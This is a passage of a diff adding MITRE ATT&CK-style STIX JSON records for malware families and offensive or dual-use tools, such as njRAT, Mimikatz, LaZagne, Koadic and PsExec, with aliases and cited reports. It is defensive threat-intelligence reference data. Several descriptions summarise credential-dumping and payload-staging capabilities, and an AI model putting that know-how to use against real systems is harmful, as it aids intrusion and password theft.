"description": "(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)" + }, + { + "source_name": "FireEye Hacking Team", + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + }, + { + "source_name": "Arbor Musical Chairs Feb 2018", + "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + }, + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "modified": "2019-04-16T20:26:40.711Z", + "type": "malware", + "created": "2017-05-31T21:32:24.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "gh0st RAT", + "x_mitre_aliases": [ + "gh0st RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)", + "id": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "external_references": [ + { + "external_id": "S0071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0071" + }, + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:46.890Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "hcdLoader", + "x_mitre_aliases": [ + "hcdLoader" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)", + "id": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "external_references": [ + { + "external_id": "S0068", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0068" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:45.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "httpclient", + "x_mitre_aliases": [ + "httpclient" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).", + "id": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "external_references": [ + { + "external_id": "S0278", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0278" + }, + { + "source_name": "iKitten", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "OSX/MacDownloader", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "iKitten", + "x_mitre_aliases": [ + "iKitten", + "OSX/MacDownloader" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)", + "id": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "external_references": [ + { + "external_id": "S0283", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0283" + }, + { + "source_name": "jRAT", + "description": "(Citation: jRAT Symantec Aug 2018)" + }, + { + "source_name": "JSocket", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "AlienSpy", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "Frutas", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "Sockrat", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "Unrecom", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "jFrutas", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "Adwind", + "description": "(Citation: Kaspersky Adwind Feb 2016)" + }, + { + "source_name": "jBiFrost", + "description": "(Citation: NCSC Joint Report Public Tools)" + }, + { + "source_name": "Trojan.Maljava", + "description": "(Citation: jRAT Symantec Aug 2018)" + }, + { + "source_name": "Kaspersky Adwind Feb 2016", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + }, + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android" + ], + "modified": "2019-06-24T17:20:24.045Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "jRAT", + "x_mitre_aliases": [ + "jRAT", + "JSocket", + "AlienSpy", + "Frutas", + "Sockrat", + "Unrecom", + "jFrutas", + "Adwind", + "jBiFrost", + "Trojan.Maljava" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)", + "id": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "external_references": [ + { + "external_id": "S0385", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0385" + }, + { + "source_name": "Njw0rm", + "description": "Some sources have discussed Njw0rm as a later variant of njRAT, where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of njRAT itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)" + }, + { + "source_name": "LV", + "description": "(Citation: Fidelis njRAT June 2013)" + }, + { + "source_name": "Bladabindi", + "description": "(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)" + }, + { + "source_name": "Fidelis njRAT June 2013", + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + }, + { + "source_name": "FireEye Njw0rm Aug 2013", + "description": "Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html" + }, + { + "source_name": "Trend Micro njRAT 2018", + "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-24T18:57:10.889Z", + "type": "malware", + "created": "2019-06-04T17:52:28.806Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "njRAT", + "x_mitre_aliases": [ + "njRAT", + "Njw0rm", + "LV", + "Bladabindi" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)", + "id": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "external_references": [ + { + "external_id": "S0067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0067" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:44.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "pngdowner", + "x_mitre_aliases": [ + "pngdowner" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)", + "id": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "external_references": [ + { + "external_id": "S0248", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0248" + }, + { + "source_name": "yty", + "description": "(Citation: ASERT Donot March 2018)" + }, + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-25T00:09:22.985Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "yty", + "x_mitre_aliases": [ + "yty" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)", + "id": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "external_references": [ + { + "external_id": "S0350", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0350" + }, + { + "source_name": "zwShell", + "description": "(Citation: McAfee Night Dragon)" + }, + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T17:48:35.006Z", + "type": "malware", + "created": "2019-01-30T17:48:35.006Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "zwShell", + "x_mitre_aliases": [ + "zwShell" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "type": "marking-definition", + "definition": { + "statement": "Copyright 2017, The MITRE Corporation" + }, + "definition_type": "statement", + "created": "2017-06-01T00:00:00Z", + "id": "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", + "id": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + "external_references": [ + { + "external_id": "S0099", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0099" + }, + { + "source_name": "TechNet Arp", + "description": "Microsoft. (n.d.). Arp. Retrieved April 17, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490864.aspx" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2017-05-31T21:33:02.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Arp", + "x_mitre_aliases": [ + "Arp", + "arp.exe" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)", + "id": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "external_references": [ + { + "external_id": "S0190", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0190" + }, + { + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BITSAdmin", + "x_mitre_aliases": [ + "BITSAdmin" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system\u2019s registry. (Citation: Mandiant APT1)", + "id": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "external_references": [ + { + "external_id": "S0119", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0119" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. 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Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "modified": "2019-04-24T20:32:54.936Z", + "type": "tool", + "created": "2017-05-31T21:32:32.011Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HTRAN", + "x_mitre_aliases": [ + "HTRAN", + "HUC Packet Transmit Tool" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. 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Retrieved March 19, 2018.", + "url": "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Havij", + "x_mitre_aliases": [ + "Havij" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. 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Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-18T21:49:12.638Z", + "type": "tool", + "created": "2019-01-31T01:39:56.283Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "name": "Impacket", + "labels": [ + "tool" + ], + "x_mitre_aliases": [ + "Impacket" + ], + "x_mitre_contributors": [ + "Jacob Wilkin, Trustwave, SpiderLabs" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", + "id": "tool--b52d6583-14a2-4ddc-8527-87fd2142558f", + "external_references": [ + { + "external_id": "S0231", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0231" + }, + { + "source_name": "GitHub Invoke-PSImage", + "description": "Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.", + "url": "https://github.com/peewpw/Invoke-PSImage" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Invoke-PSImage", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_aliases": [ + "Invoke-PSImage" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", + "id": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "external_references": [ + { + "external_id": "S0250", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0250" + }, + { + "source_name": "Koadic", + "description": "(Citation: Github Koadic)" + }, + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Koadic", + "x_mitre_aliases": [ + "Koadic" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)", + "id": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "external_references": [ + { + "external_id": "S0349", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0349" + }, + { + "source_name": "LaZagne", + "description": "(Citation: GitHub LaZange Dec 2018)" + }, + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-24T16:21:13.858Z", + "type": "tool", + "created": "2019-01-30T16:44:59.887Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "name": "LaZagne", + "x_mitre_aliases": [ + "LaZagne" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)", + "id": "tool--2fab555f-7664-4623-b4e0-1675ae38190b", + "external_references": [ + { + "external_id": "S0121", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0121" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2017-05-31T21:33:10.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Lslsass", + "x_mitre_aliases": [ + "Lslsass" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)", + "id": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27", + "external_references": [ + { + "external_id": "S0179", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0179" + }, + { + "source_name": "MimiPenguin GitHub May 2017", + "description": "Gregal, H. (2017, May 12). MimiPenguin. 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(Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)", + "id": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "external_references": [ + { + "external_id": "S0002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0002" + }, + { + "source_name": "Deply Mimikatz", + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. 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Retrieved September 22, 2015.", + "url": "https://msdn.microsoft.com/en-us/library/aa939914" + }, + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:39:01.346Z", + "type": "tool", + "created": "2017-05-31T21:32:31.601Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Net", + "labels": [ + "tool" + ], + "x_mitre_aliases": [ + "Net", + "net.exe" + ], + "x_mitre_contributors": [ + "David Ferguson, CyberSponse" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)", + "id": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "external_references": [ + { + "external_id": "S0359", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0359" + }, + { + "source_name": "Nltest Manual", + "description": "ss64. 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Retrieved April 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490968.aspx" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "tool", + "created": "2017-05-31T21:33:01.483Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Ping", + "x_mitre_aliases": [ + "ping.exe", + "Ping" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)", + "id": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", + "external_references": [ + { + "external_id": "S0378", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0378" + }, + { + "source_name": "GitHub PoshC2", + "description": "Nettitude. (2016, June 8). PoshC2: Powershell C2 Server and Implants. Retrieved April 23, 2019.", + "url": "https://github.com/nettitude/PoshC2" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-23T18:29:12.005Z", + "type": "tool", + "created": "2019-04-23T12:31:58.125Z", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "name": "PoshC2", + "x_mitre_aliases": [ + "PoshC2" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. 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Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:43:07.902Z", + "type": "tool", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "PowerSploit", + "x_mitre_aliases": [ + "PowerSploit" + ], + "labels": [ + "tool" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)", + "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "external_references": [ + { + "external_id": "S0029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0029" + }, + { + "source_name": "Russinovich Sysinternals", + "description": 